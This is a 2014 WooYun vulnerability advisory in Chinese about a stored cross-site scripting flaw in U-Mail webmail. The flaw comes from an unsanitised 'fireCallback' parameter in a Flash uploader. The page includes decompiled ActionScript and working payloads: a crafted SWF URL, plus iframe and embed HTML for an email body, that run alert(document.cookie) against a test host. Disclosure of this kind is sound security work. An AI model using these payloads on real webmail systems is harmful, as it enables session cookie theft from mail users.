当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-074073

漏洞标题：u-mail 正文flash构造存储型xss

相关厂商：cncert国家互联网应急中心

漏洞作者： menmen519

提交时间：2014-08-27 19:02

修复时间：2014-11-25 19:04

公开时间：2014-11-25 19:04

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-27： 细节已通知厂商并且等待厂商处理中
2014-09-01： 厂商已经确认，细节仅向厂商公开
2014-09-04： 细节向第三方安全合作伙伴开放
2014-10-26： 细节向核心白帽子及相关领域专家公开
2014-11-05： 细节向普通白帽子公开
2014-11-15： 细节向实习白帽子公开
2014-11-25： 细节向公众公开

简要描述：

u-mail 正文flash构造存储型xss

详细说明：

resource/script/uploader/Swiff.Uploader.swf：反编译后发现一行代码：

public function fireEvent(arg1:String, arg2:*=null):void
        {
            verboseLog("Main::fireEvent \"" + arg1 + "\"", arg2);
            if (arg2 !== null) 
            {
                if (arg2 is Array) 
                {
                    arg2 = Escaper.escapeArray(arg2);
                }
                else 
                {
                    arg2 = [Escaper.escape(arg2)];
                }
            }
            flash.external.ExternalInterface.call(root.loaderInfo.parameters.fireCallback, arg1, arg2 || []);
            return;
        }


flash.external.ExternalInterface.call(root.loaderInfo.parameters.fireCallback, arg1, arg2 || []);这个直接调用回调函数导致可以进行xss：
测试flash：
http://192.168.47.132/webmail/client/resource/script/uploader/Swiff.Uploader.swf?noCache=1409124161454&fireCallback=alert(document.cookie))}catch(e){}//

1.png


然后我们发邮件，采用html编码：
<iframe src="http://192.168.47.132/webmail/client/resource/script/uploader/Swiff.Uploader.swf?noCache=1409124161454&fireCallback=alert(document.cookie))}catch(e){}//">
</iframe>
也可以同域名底下构造：
<embed class="blog_flash" id="0.10805462765812923" menu="false" invokeurls="false" allownetworking="internal" allowfullscreen="false" allowscriptaccess="sameDomain" wmode="transparent" src="http://192.168.47.132/webmail/client/resource/script/uploader/Swiff.Uploader.swf?noCache=1409124161454&fireCallback=alert(document.cookie))}catch(e){}//" height="425" width="500">
这样一来就可以绕过外域，进行xss:
效果如图：

2.png

漏洞证明：

修复方案：

版权声明：转载请注明来源 menmen519@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-09-01 10:09

厂商回复：

最新状态：

暂无